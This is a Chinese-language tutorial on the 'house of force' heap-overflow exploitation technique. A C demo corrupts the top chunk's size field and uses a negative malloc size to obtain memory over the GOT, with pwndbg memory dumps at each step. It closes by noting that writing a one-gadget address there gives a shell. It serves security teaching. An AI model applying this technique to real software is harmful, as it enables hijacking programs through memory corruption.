二进制安全之堆溢出(系列)—— house of force
原理
源于论文:The malloc maleficarum
利用条件
能够以溢出的方式控制到top chunk的size域
能够自由地控制堆分配尺寸的大小
可以构造size拿到top chunk本身之外的内存,如libc的内存空间
Demo
#include<stdio.h>
#include<malloc.h>
#include<unistd.h>
#include<string.h>
int main(){
long *p = malloc(0x10);
sleep(0);
*(p+0x3) = -1;
sleep(0);
malloc(-4120);
sleep;
void *q = malloc(0x10);
strcpy(q,"aaaaaaaa");
malloc(0);
sleep(0);
return 0;
}
调试
初始堆块
pwndbg> heap
0x602000 FASTBIN {
prev_size = 0,
size = 33,
fd = 0x0, -->p指针指向fd
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x20fe1
}
0x602020 PREV_INUSE {
prev_size = 0,
size = 135137,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
?
pwndbg> x/20gz 0x602000
0x602000: 0x0000000000000000 0x0000000000000021
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000020fe1
0x602030: 0x0000000000000000 0x0000000000000000
从内存布局可以看到(p+0x3)指向top chunk的size位
修改top chunk的size位后
pwndbg> x/20gz 0x602000
0x602000: 0x0000000000000000 0x0000000000000021
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0xffffffffffffffff
malloc(-4120)之后
0x602000 FASTBIN {
prev_size = 0,
size = 33,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0xffffffffffffeff1
}
0x602020 PREV_INUSE {
prev_size = 0,
size = 18446744073709547505, -->malloc(-4120)
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x601010 PREV_INUSE { //可以看到现在的堆块已经到libc的got表了
prev_size = 140737351970320,
size = 4105,
bk = 0x7ffff7ad9230 <__GI___libc_malloc>, // got_malloc的地址
fd_nextsize = 0x0 <__sleep>, // got_sleep的地址
bk_nextsize = 0x0
}
malloc(-4120)的原因:当堆可分配的内存分配完之后就会到顶层的bss段,这里也不一定是-4120
再次申请内存 q
0x601010 FASTBIN {
prev_size = 140737351970320,
size = 33,
fd = 0x7ffff7a91130 <__GI___libc_malloc>,
bk = 0x7ffff7ad9230 <__sleep>,
fd_nextsize = 0x0,
bk_nextsize = 0xfe9
}
相当于把got表所在的内存空间malloc下来了
向 q 中写入aaaaaaaa
0x601010 FASTBIN {
prev_size = 140737351970320,
size = 33,
fd = 0x6161616161616161, //aaaaaaaa
bk = 0x7ffff7ad9200 <alarm>,
fd_nextsize = 0x0,
bk_nextsize = 0xfe9
}
再次malloc(0)
报错
因为上面写入的aaaaaaaa已经把malloc_got的内容修改为了aaaaaaaa
这里我么可以写入onegadget的地址,就能getshell
